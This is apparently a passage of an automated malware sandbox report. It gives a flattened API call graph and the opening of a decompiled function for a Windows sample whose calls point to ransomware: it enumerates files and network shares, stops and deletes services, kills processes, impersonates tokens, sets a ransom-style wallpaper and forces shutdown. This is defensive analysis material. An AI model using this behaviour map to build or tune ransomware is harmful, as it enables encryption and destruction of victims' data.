2355174 4 API calls 4889->4890 4891 2355cfa 4890->4891 4891->4888 4892 2355d01 RegQueryValueExW 4891->4892 4892->4888 4893 2355d17 4892->4893 4894 23551c1 RtlFreeHeap 4893->4894 4895 2355d1d 4894->4895 4895->4888 4910 2356f7f 4896->4910 4898 2356f37 4898->4663 4900 2357331 4899->4900 4901 2357338 4899->4901 4900->4665 4902 2355174 4 API calls 4901->4902 4903 2357345 4902->4903 4903->4900 4904 2356f2c 9 API calls 4903->4904 4905 235736e 4904->4905 4906 23571c7 9 API calls 4905->4906 4906->4900 4908 2355d54 RegSetValueExW RegCloseKey 4907->4908 4909 23525c1 4907->4909 4908->4909 4909->4671 4909->4672 4913 23571c7 4910->4913 4914 23571dc 4913->4914 4921 23571eb 4913->4921 4925 2357158 4914->4925 4917 23571e1 4923 2356f8e 4917->4923 4928 23558f0 RtlInitializeCriticalSection 4917->4928 4918 23571fd 4922 235721a 4918->4922 4930 2355b96 4918->4930 4929 23554a1 RtlEnterCriticalSection 4921->4929 4922->4923 4938 2355a45 RtlLeaveCriticalSection 4922->4938 4923->4898 4926 2355b96 6 API calls 4925->4926 4927 2357169 4926->4927 4927->4917 4928->4921 4929->4918 4939 23560d5 4930->4939 4932 2355baa 4932->4922 4933 2355ba4 4933->4932 4934 2355f87 CryptAcquireContextW 4933->4934 4935 2355fad CryptGenRandom 4933->4935 4936 2355fa1 4934->4936 4937 2355fa3 4934->4937 4935->4922 4936->4922 4937->4935 4938->4923 4940 2356110 4939->4940 4942 23560e3 4939->4942 4940->4933 4942->4940 4943 235611e 4942->4943 4945 2356129 4943->4945 4944 23561c8 timeBeginPeriod timeGetTime Sleep timeGetTime 4944->4945 4945->4944 4946 23561b5 4945->4946 4946->4942 4953 2356342 GetWindowsDirectoryW 4947->4953 4949 2355fdf 4950 2355fe7 GetVolumeInformationW 4949->4950 4951 235600b 4949->4951 4952 23551c1 RtlFreeHeap 4950->4952 4951->4707 4952->4951 4954 2356355 4953->4954 4955 2356353 4953->4955 4956 2355174 4 API calls 4954->4956 4955->4949 4957 235635f 4956->4957 4958 2356366 GetWindowsDirectoryW 4957->4958 4959 2356378 4957->4959 4958->4959 4960 2356372 4958->4960 4959->4949 4961 23551c1 RtlFreeHeap 4960->4961 4961->4959 4963 2352709 4962->4963 4967 2352705 4962->4967 4984 2355bc6 4963->4984 4966 2355174 4 API calls 4968 235272b 4966->4968 4967->4728 4968->4967 4969 2355bc6 9 API calls 4968->4969 4969->4968 4971 2356dca 4970->4971 4972 235510a 2 API calls 4971->4972 4980 2356dd0 4971->4980 4973 2356df1 4972->4973 4973->4980 4988 2356b73 WideCharToMultiByte 4973->4988 4976 2356e11 4978 2356e3c 4976->4978 4979 23551c1 RtlFreeHeap 4976->4979 4976->4980 4977 23569b5 4 API calls 4977->4976 4981 23551c1 RtlFreeHeap 4978->4981 4983 2356e4b 4978->4983 4979->4978 4980->4723 4981->4983 4996 235515e RtlFreeHeap 4983->4996 4985 2355bd6 4984->4985 4987 2352715 4984->4987 4986 23571c7 9 API calls 4985->4986 4986->4987 4987->4966 4987->4967 4989 2356b94 4988->4989 4990 2356bbf 4988->4990 4991 2355174 4 API calls 4989->4991 4990->4976 4990->4977 4992 2356b9d 4991->4992 4992->4990 4993 2356ba4 WideCharToMultiByte 4992->4993 4993->4990 4994 2356bb9 4993->4994 4995 23551c1 RtlFreeHeap 4994->4995 4995->4990 4996->4980 4998 2351e3c 4997->4998 4999 2355cb3 9 API calls 4998->4999 5000 2351e75 4999->5000 5001 2351e95 5000->5001 5002 2355cb3 9 API calls 5000->5002 5003 2351eba 5001->5003 5004 2355174 4 API calls 5001->5004 5002->5001 5003->4781 5003->4782 5005 2351eb3 5004->5005 5005->5003 5006 2351ede _snwprintf 5005->5006 5007 2351f59 5006->5007 5008 235731d 13 API calls 5007->5008 5009 2351f68 5008->5009 5010 23551c1 RtlFreeHeap 5009->5010 5011 2351f70 5010->5011 5011->5003 5012 2355d32 3 API calls 5011->5012 5013 2351f92 5012->5013 5013->5003 5014 2355d32 3 API calls 5013->5014 5014->5003 5016 2356729 5015->5016 5018 23566fe 5015->5018 5016->4787 5018->5016 5019 23551c1 RtlFreeHeap 5018->5019 5020 2356730 5018->5020 5019->5018 5021 2356744 5020->5021 5023 23567ba 5020->5023 5022 2355174 4 API calls 5021->5022 5021->5023 5022->5023 5023->5018 5024->4813 5025->4812 5027 23565b2 5026->5027 5027->4509 5028->4515 5030 2357b14 GetTokenInformation 5029->5030 5031 2357b38 5029->5031 5066 2355416 5030->5066 5031->4516 5033 2357b40 OpenProcessToken 5031->5033 5034 2357b95 5033->5034 5035 2357b5c GetTokenInformation 5033->5035 5034->4516 5039 2355d82 ReleaseMutex 5034->5039 5036 2357b75 IsValidSid 5035->5036 5037 2357b84 5035->5037 5036->5037 5038 2355416 CloseHandle 5037->5038 5038->5034 5040 2355416 CloseHandle 5039->5040 5041 2355d99 5040->5041 5042 2355718 5041->5042 5043 2355174 4 API calls 5042->5043 5044 235572c 5043->5044 5045 2355771 5044->5045 5046 2355733 5044->5046 5045->4524 5047 2355737 GetModuleFileNameW 5046->5047 5048 23551c1 RtlFreeHeap 5046->5048 5050 2355761 5046->5050 5052 2355174 4 API calls 5046->5052 5047->5046 5049 2355763 5047->5049 5048->5046 5049->5050 5051 23551c1 RtlFreeHeap 5049->5051 5050->5045 5051->5050 5052->5046 5069 2355438 GetCommandLineW CommandLineToArgvW 5054->5069 5056 2355a62 5057 2355ae4 5056->5057 5058 2355a72 LocalFree 5056->5058 5059 2355a7d 5056->5059 5057->4529 5058->5057 5060 2355adb LocalFree 5059->5060 5061 2355a9e 5059->5061 5060->5057 5062 2355174 4 API calls 5061->5062 5064 2355aa7 5062->5064 5063 2355ad0 LocalFree 5063->5057 5064->5063 5067 235541f CloseHandle 5066->5067 5068 2355428 5066->5068 5067->5068 5068->5031 5069->5056 5071 23530d8 5070->5071 5072 2353179 5070->5072 5073 2355718 6 API calls 5071->5073 5080 2357c36 RtlAdjustPrivilege 5072->5080 5074 23530e4 5073->5074 5074->5072 5075 2355d32 3 API calls 5074->5075 5076 2353148 5075->5076 5077 2353170 5076->5077 5079 2355d32 3 API calls 5076->5079 5078 23551c1 RtlFreeHeap 5077->5078 5078->5072 5079->5077 5081 2357c53 5080->5081 5083 2353e1b 5080->5083 5082 2357c5a RtlAdjustPrivilege 5081->5082 5081->5083 5082->5083 5083->4546 5083->4547 5177 2355dbd OpenSCManagerW 5084->5177 5086 2354246 5087 2354250 EnumServicesStatusExW 5086->5087 5098 2353e3f 5086->5098 5088 2354275 RtlGetLastWin32Error 5087->5088 5089 235428c 5087->5089 5088->5089 5090 2354281 5088->5090 5091 2355174 4 API calls 5089->5091 5189 2355d9b CloseServiceHandle 5090->5189 5093 2354295 5091->5093 5094 23542a6 EnumServicesStatusExW 5093->5094 5095 235429c 5093->5095 5097 23542ef 5094->5097 5100 23542c4 5094->5100 5190 2355d9b CloseServiceHandle 5095->5190 5191 2355d9b CloseServiceHandle 5097->5191 5102 2355b1f CreateToolhelp32Snapshot 5098->5102 5100->5097 5178 2355dcd OpenServiceW 5100->5178 5103 2355b40 Process32FirstW 5102->5103 5104 2353e4d CreateThread 5102->5104 5105 2355b5a 5103->5105 5104->4561 5664 2352bb5 5104->5664 5106 2355b87 5105->5106 5108 2355b75 Process32NextW 5105->5108 5107 2355416 CloseHandle 5106->5107 5107->5104 5108->5105 5110 2353913 5109->5110 5140 2353987 5109->5140 5282 2355438 GetCommandLineW CommandLineToArgvW 5110->5282 5114 2353b07 5118 2353b18 5114->5118 5224 2358482 5114->5224 5115 2353a29 PathRemoveBackslashW PathIsDirectoryW 5120 2353a3c PathAddBackslashW 5115->5120 5121 2353a5a PathIsNetworkPathW 5115->5121 5116 2353930 5283 235542a LocalFree 5116->5283 5124 2353a52 5118->5124 5231 23586e6 5118->5231 5119 235391c 5119->5116 5122 2353923 5119->5122 5125 2355174 4 API calls 5119->5125 5285 2358122 5120->5285 5121->5122 5127 2353a68 5121->5127 5122->4556 5145 2354efa GetDC 5122->5145 5130 2353b54 5124->5130 5133 2353b36 5124->5133 5129 2353971 5125->5129 5127->5122 5137 2353a87 PathAddBackslashW 5127->5137 5129->5116 5132 2353978 5129->5132 5269 2357e44 5130->5269 5284 235542a LocalFree 5132->5284 5133->5124 5133->5130 5303 2355fc7 Sleep 5133->5303 5134 23551c1 RtlFreeHeap 5134->5124 5138 2355174 4 API calls 5137->5138 5144 2353a9b 5138->5144 5211 2357f01 5140->5211 5141 2353ab7 PathAddBackslashW 5141->5144 5142 2353ac8 PathAddBackslashW 5143 2358122 70 API calls 5142->5143 5143->5144 5144->5124 5144->5141 5144->5142 5146 2355105 5145->5146 5147 2354f16 CreateCompatibleDC 5145->5147 5146->4565 5148 23550fb ReleaseDC 5147->5148 5149 2354f2b GetDeviceCaps GetDeviceCaps CreateCompatibleBitmap 5147->5149 5148->5146 5150 23550f3 DeleteDC 5149->5150 5151 2354f5f SelectObject GetDeviceCaps MulDiv CreateFontW 5149->5151 5150->5148 5152 2354fa3 SelectObject SetBkMode SetTextColor GetStockObject FillRect 5151->5152 5153 23550ea DeleteObject 5151->5153 5154 2355086 DrawTextW 5152->5154 5162 2354ff9 5152->5162 5153->5150 5605 2354df5 5154->5605 5156 23550ba 5157 23550e1 DeleteObject 5156->5157 5623 2354c40 GetObjectW 5156->5623 5157->5153 5158 2355080 5158->5154 5160 2355bc6 9 API calls 5160->5162 5162->5154 5162->5158 5162->5160 5165 2355bc6 9 API calls 5162->5165 5163 23551c1 RtlFreeHeap 5164 23550e0 5163->5164 5164->5157 5166 2355049 SetPixel 5165->5166 5166->5162 5168 2351449 5167->5168 5170 2351459 5168->5170 5648 2356bc9 5168->5648 5657 2351fbc 5170->5657 5173 2351fbc RtlFreeHeap 5176 235146f 5173->5176 5174 23551c1 RtlFreeHeap 5174->5176 5175 235150d 5175->4563 5176->5174 5176->5175 5177->5086 5179 2355e41 5178->5179 5180 2355deb 5178->5180 5179->5100 5192 2355e46 GetTickCount EnumDependentServicesW 5180->5192 5183 2355e23 5188 2355e2e CloseServiceHandle 5183->5188 5210 2355da9 DeleteService 5183->5210 5184 2355e18 CloseServiceHandle 5185 2355e3f 5184->5185 5185->5179 5188->5185 5189->5098 5190->5098 5191->5098 5193 2355df6 ControlService 5192->5193 5194 2355e7b RtlGetLastWin32Error 5192->5194 5193->5183 5193->5184 5194->5193 5195 2355e8f 5194->5195 5196 2355174 4 API calls 5195->5196 5197 2355e98 5196->5197 5197->5193 5198 2355e9f EnumDependentServicesW 5197->5198 5198->5193 5199 2355eb9 5198->5199 5200 2355f6b 5199->5200 5202 2355eca OpenServiceW 5199->5202 5203 2355e46 5 API calls 5199->5203 5201 23551c1 RtlFreeHeap 5200->5201 5201->5193 5202->5193 5202->5199 5204 2355ef1 ControlService 5203->5204 5205 2355f31 5204->5205 5206 2355f06 CloseServiceHandle 5204->5206 5207 2355f11 Sleep QueryServiceStatusEx 5205->5207 5208 2355f4b CloseServiceHandle 5205->5208 5209 2355f36 GetTickCount 5205->5209 5206->5193 5207->5193 5207->5205 5208->5200 5208->5202 5209->5205 5209->5206 5210->5188 5304 2355133 HeapCreate 5211->5304 5213 2357f0d 5214 2357f1b CreateIoCompletionPort 5213->5214 5220 23539de 5213->5220 5215 2357f31 5214->5215 5216 2357f3b 5214->5216 5313 2355150 HeapDestroy 5215->5313 5305 2357ea3 5216->5305 5220->5114 5220->5115 5220->5122 5222 2357f51 5223 2355416 CloseHandle 5222->5223 5223->5220 5229 2358498 5224->5229 5225 235857a 5225->5118 5226 23584d3 GetDriveTypeW 5226->5229 5227 2355174 4 API calls 5227->5229 5228 2358122 70 API calls 5228->5229 5229->5225 5229->5226 5229->5227 5229->5228 5230 23551c1 RtlFreeHeap 5229->5230 5230->5229 5232 2358707 5231->5232 5233 2355815 4 API calls 5232->5233 5234 2358716 OpenProcess 5233->5234 5235 235875d 5234->5235 5236 235872e OpenProcessToken 5234->5236 5239 2357b9d 7 API calls 5235->5239 5237 2358746 DuplicateToken 5236->5237 5238 235873f 5236->5238 5419 2357fc1 CreateToolhelp32Snapshot Thread32First 5237->5419 5241 2355416 CloseHandle 5238->5241 5240 2358763 5239->5240 5243 2355174 4 API calls 5240->5243 5244 2358745 5241->5244 5246 235876d 5243->5246 5244->5237 5245 2358843 5245->5124 5246->5245 5247 23587a3 GetDriveTypeW 5246->5247 5248 23587e8 5246->5248 5251 2358122 70 API calls 5246->5251 5247->5246 5249 23551c1 RtlFreeHeap 5248->5249 5250 23587ed 5249->5250 5429 2358584 WNetOpenEnumW 5250->5429 5251->5246 5254 2358584 74 API calls 5255 23587ff 5254->5255 5256 2358584 74 API calls 5255->5256 5257 2358808 RevertToSelf 5256->5257 5258 2357fc1 8 API calls 5257->5258 5259 2358813 5258->5259 5260 2358584 74 API calls 5259->5260 5261 235881c 5260->5261 5262 2358584 74 API calls 5261->5262 5263 2358825 5262->5263 5264 2358584 74 API calls 5263->5264 5265 2358831 5264->5265 5266 2358584 74 API calls 5265->5266 5267 235883a 5266->5267 5268 2358584 74 API calls 5267->5268 5268->5245 5444 2355aeb GetSystemInfo 5269->5444 5271 2357e5c 5272 2357e66 PostQueuedCompletionStatus 5271->5272 5273 2357e7e 5271->5273 5446 2355aeb GetSystemInfo 5272->5446 5275 2357e80 5273->5275 5276 2357e8d 5273->5276 5275->5273 5447 2355fc7 Sleep 5275->5447 5445 2355150 HeapDestroy 5276->5445 5279 2357e94 5280 2355416 CloseHandle 5279->5280 5281 2357e9c 5280->5281 5281->5122 5282->5119 5283->5122 5284->5140 5286 2358149 5285->5286 5292 2358165 5286->5292 5448 23583fc 5286->5448 5289 2353a4c 5289->5134 5290 235832c 5290->5289 5291 23551c1 RtlFreeHeap 5290->5291 5291->5290 5292->5290 5293 23551c1 RtlFreeHeap 5292->5293 5295 2358201 FindFirstFileW 5292->5295 5296 23581ef FindFirstFileExW 5292->5296 5297 2358303 FindNextFileW 5292->5297 5298 2358319 FindClose 5292->5298 5299 23583fc 4 API calls 5292->5299 5302 2353338 17 API calls 5292->5302 5460 2355b02 GetPEB 5292->5460 5461 2353ee4 5292->5461 5293->5292 5295->5292 5296->5292 5297->5292 5297->5298 5298->5292 5299->5292 5302->5292 5303->5133 5304->5213 5315 2355aeb GetSystemInfo 5305->5315 5307 2357ef5 5307->5220 5314 2355150 HeapDestroy 5307->5314 5308 2357ebf CreateThread 5308->5307 5309 2357ed3 SetThreadPriority 5308->5309 5317 2353b70 5308->5317 5310 2355416 CloseHandle 5309->5310 5311 2357eb8 5310->5311 5311->5307 5311->5308 5316 2355aeb GetSystemInfo 5311->5316 5313->5220 5314->5222 5315->5311 5316->5311 5328 2357f8a GetQueuedCompletionStatus 5317->5328 5319 2353c74 RtlGetLastWin32Error 5320 2353b8e 5319->5320 5320->5319 5323 2353cac 5320->5323 5329 23537a1 5320->5329 5340 2353d31 5320->5340 5349 2353cba 5320->5349 5358 2353887 5320->5358 5368 23534d2 5320->5368 5371 2357f8a GetQueuedCompletionStatus 5320->5371 5328->5320 5330 2355416 CloseHandle 5329->5330 5331 23537b5 5330->5331 5332 2355174 4 API calls 5331->5332 5333 23537ce 5332->5333 5334 23537ff 5333->5334 5372 2358441 MoveFileW 5333->5372 5334->5334 5379 23534f4 5334->5379 5338 23551c1 RtlFreeHeap 5338->5334 5342 2353d56 5340->5342 5409 2358108 WriteFile 5342->5409 5343 2353d8b 5344 2353d90 RtlGetLastWin32Error 5343->5344 5345 2353db2 5343->5345 5344->5345 5348 2353d9c 5344->5348 5345->5320 5348->5343 5410 2355fc7 Sleep 5348->5410 5411 2358108 WriteFile 5348->5411 5350 2353cd9 5349->5350 5412 2358108 WriteFile 5350->5412 5352 2353d04 5353 2353d2d 5352->5353 5354 2353d09 RtlGetLastWin32Error 5352->5354 5353->5320 5354->5353 5357 2353d15 5354->5357 5357->5352 5413 2355fc7 Sleep 5357->5413 5414 2358108 WriteFile 5357->5414 5415 23580d4 ReadFile 5358->5415 5360 23538ba RtlGetLastWin32Error 5361 23538b5 5360->5361 5366 23538e6 5360->5366 5361->5360 5362 23538e8 5361->5362 5363 23538cb 5361->5363 5361->5366 5365 23534d2 PostQueuedCompletionStatus 5362->5365 5363->5361 5416 2355fc7 Sleep 5363->5416 5417 23580d4 ReadFile 5363->5417 5365->5366 5366->5320 5418 2357fa7 PostQueuedCompletionStatus 5368->5418 5370 23534ef 5370->5320 5371->5320 5373 2358457 RtlGetLastWin32Error 5372->5373 5374 23537f7 5372->5374 5373->5374 5375 2358461 5373->5375 5374->5338 5385 2357b9d 5375->5385 5378 235846a MoveFileW RevertToSelf 5378->5374 5380 2353509 5379->5380 5400 2358057 5380->5400 5386 2357bbb 5385->5386 5397 2355815 5386->5397 5389 2357be1 OpenProcessToken 5390 2357bf6 5389->5390 5391 2357bff 5389->5391 5392 2355416 CloseHandle 5390->5392 5393 2355416 CloseHandle 5391->5393 5395 2357bfb 5392->5395 5394 2357c04 ImpersonateLoggedOnUser 5393->5394 5396 2355416 CloseHandle 5394->5396 5395->5374 5395->5378 5396->5395 5398 2355b1f CloseHandle CreateToolhelp32Snapshot Process32FirstW Process32NextW 5397->5398 5399 2355834 OpenProcess 5398->5399 5399->5389 5399->5395 5401 2355416 CloseHandle 5400->5401 5402 2358066 5401->5402 5403 23551c1 RtlFreeHeap 5402->5403 5404 235350f 5403->5404 5405 2357f76 5404->5405 5408 235515e RtlFreeHeap 5405->5408 5407 2353518 5407->5320 5408->5407 5409->5343 5410->5348 5411->5348 5412->5352 5413->5357 5414->5357 5415->5361 5416->5363 5417->5363 5418->5370 5420 2357fec GetCurrentProcessId GetCurrentThreadId 5419->5420 5425 2358044 5419->5425 5428 2357ffc 5420->5428 5421 2355416 CloseHandle 5422 235804e 5421->5422 5422->5235 5423 2358032 Thread32Next 5423->5425 5423->5428 5424 2358006 OpenThread 5424->5423 5426 235801c SetThreadToken 5424->5426 5425->5421 5427 2355416 CloseHandle 5426->5427 5427->5428 5428->5423 5428->5424 5430 23585a4 5429->5430 5431 23585ab 5429->5431 5430->5254 5432 2355174 4 API calls 5431->5432 5433 23585be 5432->5433 5434 23585c5 WNetCloseEnum 5433->5434 5441 23585d5 5433->5441 5434->5430 5435 23585d6 WNetEnumResourceW 5435->5441 5436 23586ca 5437 23551c1 RtlFreeHeap 5436->5437 5438 23586d0 WNetCloseEnum 5437->5438 5438->5430 5439 2355174 4 API calls 5439->5441 5440 2358584 70 API calls 5440->5441 5441->5435 5441->5436 5441->5439 5441->5440 5442 2358122 70 API calls 5441->5442 5443 23551c1 RtlFreeHeap 5441->5443 5442->5441 5443->5441 5444->5271 5445->5279 5446->5271 5447->5275 5449 2355174 4 API calls 5448->5449 5450 2358407 5449->5450 5451 23569b5 4 API calls 5450->5451 5452 235815d 5450->5452 5451->5452 5453 2353338 5452->5453 5470 23532a5 5453->5470 5458 2353352 5459 2353374 5458->5459 5479 235474c 5458->5479 5459->5292 5460->5292 5515 235351e 5461->5515 5464 2353f04 5464->5292 5466 2353f13 5467 2353f1b 5466->5467 5548 2357fa7 PostQueuedCompletionStatus 5466->5548 5467->5464 5468 23534f4 2 API calls 5467->5468 5468->5464 5471 23532c5 5470->5471 5472 2355174 4 API calls 5471->5472 5473 23532ed 5472->5473 5474 2353302 CreateFileW 5473->5474 5475 2353321 CloseHandle 5474->5475 5476 2353329 5474->5476 5475->5476 5477 23551c1 RtlFreeHeap 5476->5477 5478 235332f 5477->5478 5478->5458 5491 2357c7a 5478->5491 5480 2354759 5479->5480 5481 2355174 4 API calls 5480->5481 5483 235476c 5481->5483 5482 23547aa 5482->5459 5483->5482 5499 235834d CreateFileW 5483->5499 5485 235479b 5486 23551c1 RtlFreeHeap 5485->5486 5487 23547a3 5486->5487 5487->5482 5500 23583a5 WriteFile 5487->5500 5489 23547c6 5490 2355416 CloseHandle 5489->5490 5490->5482 5492 2357c86 5491->5492 5493 2357c8b 5491->5493 5501 23579f8 5492->5501 5497 2357c90 5493->5497 5507 2357cb3 5493->5507 5497->5458 5498 23579f8 3 API calls 5498->5497 5499->5485 5500->5489 5502 2357a15 AllocateAndInitializeSid 5501->5502 5503 2357a9f SetNamedSecurityInfoW 5501->5503 5504 2357a32 5502->5504 5505 2357a3a SetEntriesInAclW 5502->5505 5503->5504 5504->5493 5505->5504 5506 2357a95 5505->5506 5506->5503 5508 2357cc5 GetCurrentProcess OpenProcessToken 5507->5508 5509 2357d06 SetNamedSecurityInfoW 5507->5509 5510 2357c9f 5508->5510 5511 2357cdb GetTokenInformation 5508->5511 5509->5510 5510->5497 5510->5498 5511->5510 5512 2357cf7 5511->5512 5513 2355416 CloseHandle 5512->5513 5514 2357d05 5513->5514 5514->5509 5549 235834d CreateFileW 5515->5549 5517 2353540 5518 2353589 5517->5518 5520 2353559 5517->5520 5536 235355f 5517->5536 5553 235838c SetFilePointerEx 5518->5553 5523 2355416 CloseHandle 5520->5523 5522 2353598 5554 2358373 ReadFile 5522->5554 5523->5536 5524 2353585 5527 23535e6 RtlGetLastWin32Error 5524->5527 5538 235360d 5524->5538 5526 23535ae 5530 2355416 CloseHandle 5526->5530 5534 23535f0 5527->5534 5539 23535df 5527->5539 5530->5536 5531 2357f62 2 API calls 5531->5534 5532 235362e RtlGetLastWin32Error 5535 2353673 5532->5535 5532->5538 5533 23536b8 5580 23536c8 5533->5580 5534->5524 5534->5531 5561 2355fc7 Sleep 5534->5561 5540 2357f76 RtlFreeHeap 5535->5540 5536->5539 5550 2357f62 5536->5550 5538->5532 5538->5533 5541 2353684 5538->5541 5542 2357c7a 8 API calls 5538->5542 5544 2353653 GetFileAttributesW 5538->5544 5546 2353663 SetFileAttributesW 5538->5546 5555 2358073 CreateFileW 5538->5555 5539->5464 5547 2357e1f CreateIoCompletionPort 5539->5547 5540->5539 5541->5538 5562 23561ed 5541->5562 5579 2355fc7 Sleep 5541->5579 5542->5538 5544->5535 5544->5538 5546->5535 5546->5538 5547->5466 5548->5467 5549->5517 5551 235510a 2 API calls 5550->5551 5552 2357f72 5551->5552 5552->5524 5553->5522 5554->5526 5556 23580a7 5555->5556 5557 23580a3 5555->5557 5558 23569b5 4 API calls 5556->5558 5557->5538 5559 23580af 5558->5559 5559->5557 5560 2355416 CloseHandle 5559->5560 5560->5557 5561->5534 5563 23561fa 5562->5563 5585 2355b02 GetPEB 5563->5585 5565 2356211 5566 235633b 5565->5566 5586 23563c4 5565->5586 5566->5541 5568 2356224 5568->5566 5589 2355dbd OpenSCManagerW 5568->5589 5570 2356231 5570->5566 5572 2355dcd 21 API calls 5570->5572 5573 235631c CloseServiceHandle 5570->5573 5576 23562e5 OpenProcess 5570->5576 5590 235532d 5570->5590 5599 23552e0 OpenProcess 5570->5599 5572->5570 5573->5566 5576->5570 5577 23562f6 TerminateProcess 5576->5577 5578 2355416 CloseHandle 5577->5578 5578->5570 5579->5541 5581 2356f2c 9 API calls 5580->5581 5582 2353701 5581->5582 5583 23571c7 9 API calls 5582->5583 5584 2353751 5583->5584 5584->5539 5585->5565 5603 23551fb 5586->5603 5589->5570 5591 2355343 5590->5591 5593 2355348 5590->5593 5592 2355174 4 API calls 5591->5592 5592->5593 5594 235535b OpenProcess 5593->5594 5595 2355372 QueryFullProcessImageNameW 5594->5595 5598 23553a5 5594->5598 5596 2355416 CloseHandle 5595->5596 5597 235538b PathFindFileNameW 5596->5597 5597->5598 5598->5570 5600 23552ff GetExitCodeProcess Sleep 5599->5600 5601 2355328 5599->5601 5600->5600 5602 235531e CloseHandle 5600->5602 5601->5570 5602->5601 5604 2355205 VerSetConditionMask VerifyVersionInfoW 5603->5604 5604->5568 5606 2355bc6 9 API calls 5605->5606 5607 2354e05 5606->5607 5608 2355174 4 API calls 5607->5608 5621 2354ea6 5607->5621 5610 2354e1f 5608->5610 5609 2355bc6 9 API calls 5609->5610 5610->5609 5611 2354e6b 5610->5611 5610->5621 5639 2356014 GetTempPathW 5611->5639 5613 2354e9a 5614 2354ea0 5613->5614 5616 2354ea8 5613->5616 5615 23551c1 RtlFreeHeap 5614->5615 5615->5621 5617 2355174 4 API calls 5616->5617 5618 2354ec5 5617->5618 5619 23551c1 RtlFreeHeap 5618->5619 5618->5621 5620 2354ed4 5619->5620 5622 23551c1 RtlFreeHeap 5620->5622 5621->5156 5622->5621 5624 2354c60 LocalAlloc 5623->5624 5629 2354dde SystemParametersInfoW 5623->5629 5626 2354ce7 GlobalAlloc 5624->5626 5627 2354ce0 5624->5627 5628 2354d1d GetDIBits 5626->5628 5626->5629 5627->5626 5628->5629 5630 2354d3a CreateFileW 5628->5630 5629->5163 5630->5629 5631 2354d5d WriteFile 5630->5631 5632 2354dc0 5631->5632 5633 2354da3 WriteFile 5631->5633 5636 2355416 CloseHandle 5632->5636 5633->5632 5634 2354dc3 WriteFile 5633->5634 5634->5632 5635 2354de1 5634->5635 5637 2355416 CloseHandle 5635->5637 5636->5629 5638 2354de6 GlobalFree 5637->5638 5638->5629 5640 2356025 5639->5640 5641 2356027 5639->5641 5640->5613 5642 2355174 4 API calls 5641->5642 5643 2356031 5642->5643 5644 2356038 GetTempPathW 5643->5644 5646 235604a 5643->5646 5645 2356044 5644->5645 5644->5646 5647 23551c1 RtlFreeHeap 5645->5647 5646->5613 5647->5646 5649 2356c1e 5648->5649 5650 2356bd8 5648->5650 5662 235515e RtlFreeHeap 5649->5662 5650->5649 5655 23551c1 RtlFreeHeap 5650->5655 5661 235515e RtlFreeHeap 5650->5661 5652 2356c29 5663 2355150 HeapDestroy 5652->5663 5654 2356c30 5654->5168 5655->5650 5658 2351fc9 5657->5658 5660 2351463 5657->5660 5659 23551c1 RtlFreeHeap 5658->5659 5658->5660 5659->5658 5660->5173 5661->5650 5662->5652 5663->5654 5665 2352bc9 5664->5665 5670 2352bcd 5665->5670 5692 2355a21 GetNativeSystemInfo 5665->5692 5667 2352bff 5668 2352c0c VariantInit 5667->5668 5672 2352c59 5667->5672 5669 2352c38 5668->5669 5671 2352c53 VariantClear 5669->5671 5671->5672 5672->5670 5673 2352c94 SysAllocString 5672->5673 5674 2352cc1 5673->5674 5674->5670 5675 2352d1b SysAllocString SysAllocString 5674->5675 5677 2352d4b 5675->5677 5676 2352e16 VariantClear 5676->5677 5677->5670 5677->5676 5678 2352db6 wsprintfW 5677->5678 5679 2352e07 VariantClear 5677->5679 5678->5679 5680 2352dda SysAllocString 5678->5680 5679->5677 5680->5677 5682 2353fc2 5681->5682 5683 2354028 SysAllocString 5682->5683 5691 2353fc6 5682->5691 5684 2354051 SysFreeString 5683->5684 5685 235405e 5684->5685 5684->5691 5686 2354129 SysAllocString SysAllocString 5685->5686 5685->5691 5687 2354164 5686->5687 5688 2354181 SysAllocString 5687->5688 5689 23541b1 SysFreeString SysFreeString SysFreeString 5688->5689 5690 23541d3 GetCurrentProcess WaitForSingleObject 5689->5690 5689->5691 5690->5691 5692->5667 5694 23552c2 GetKeyboardLayoutList 5693->5694 5694->4572 5694->4573 5695->4582 5696->4584 5698 2354c12 RegSetValueExW RegCloseKey 5697->5698 5699 2354c39 5697->5699 5698->5699 5699->4589 5716 2355b02 GetPEB 5700->5716 5702 2356388 5703 2356397 Wow64DisableWow64FsRedirection 5702->5703 5704 2356392 5702->5704 5703->4603 5704->4603 5717 2355b02 GetPEB 5705->5717 5707 23563aa 5708 23563b4 5707->5708 5709 23563b9 Wow64RevertWow64FsRedirection 5707->5709 5708->4612 5709->4612 5711 2357c36 2 API calls 5710->5711 5712 2355c8f 5711->5712 5713 2355cb1 5712->5713 5714 2355ca4 ExitWindowsEx 5712->5714 5715 2355c9a NtShutdownSystem 5712->5715 5713->4586 5714->5713 5715->4586 5716->5702 5717->5707 5943 23559cd 5944 2356595 5943->5944 5945 23559ec CreateMutexW 5944->5945 5946 2355a0c RtlGetLastWin32Error 5945->5946 5947 2355a19 5945->5947 5946->5947 5948 2353f4c 5949 2353f5b 5948->5949 5951 2353f57 5948->5951 5949->5951 5952 23583d1 PathFindExtensionW 5949->5952 5953 23583e6 5952->5953 5953->5951 5860 235758f 5863 235766a 5860->5863 5866 235580e GetPEB 5863->5866 5865 2357599 5866->5865 5718 2352809 7 API calls 5719 2352ba5 5718->5719 5723 2352858 5718->5723 5720 2352b38 7 API calls 5720->5723 5721 2352b9a 5721->5719 5722 2352b9e SysFreeString 5721->5722 5722->5719 5723->5720 5723->5721 5724 2352964 lstrcmpiW 5723->5724 5726 2352a91 SysAllocString 5723->5726 5727 2352a09 lstrcmpiW 5723->5727 5730 2352e57 VariantInit 5723->5730 5737 2352f04 VariantInit VariantInit 5723->5737 5724->5723 5725 2352a2c lstrcmpiW 5724->5725 5725->5720 5725->5723 5726->5723 5727->5720 5727->5723 5731 2356595 5730->5731 5732 2352e82 SysAllocString 5731->5732 5733 2352eaa 5732->5733 5734 2352ee6 VariantClear 5733->5734 5735 2352ef4 SysFreeString 5734->5735 5736 2352efb 5734->5736 5735->5736 5736->5723 5738 2352f45 5737->5738 5739 2352f5e SysAllocString SysAllocString 5738->5739 5741 2352f94 5739->5741 5740 2353093 VariantClear VariantClear 5742 23530b2 5740->5742 5743 23530af SysFreeString 5740->5743 5741->5740 5744 23530bc 5742->5744 5745 23530b9 SysFreeString 5742->5745 5743->5742 5744->5723 5745->5744

              Executed Functions

              Control-flow Graph

              C-Code - Quality: 95%
              			E02354EFA() {
              				signed int _v8;
              				int _v12;
              				signed int _v16;
              				struct HDC__* _v20;
              				void* _v24;
              				int _v28;
              				struct HDC__* _v32;
              				int _v36;
              				void* _v40;
              				struct tagRECT _v56;
              				struct HDC__* _t56;
              				struct HDC__* _t57;
              				int _t59;
              				int _t60;
              				int _t61;
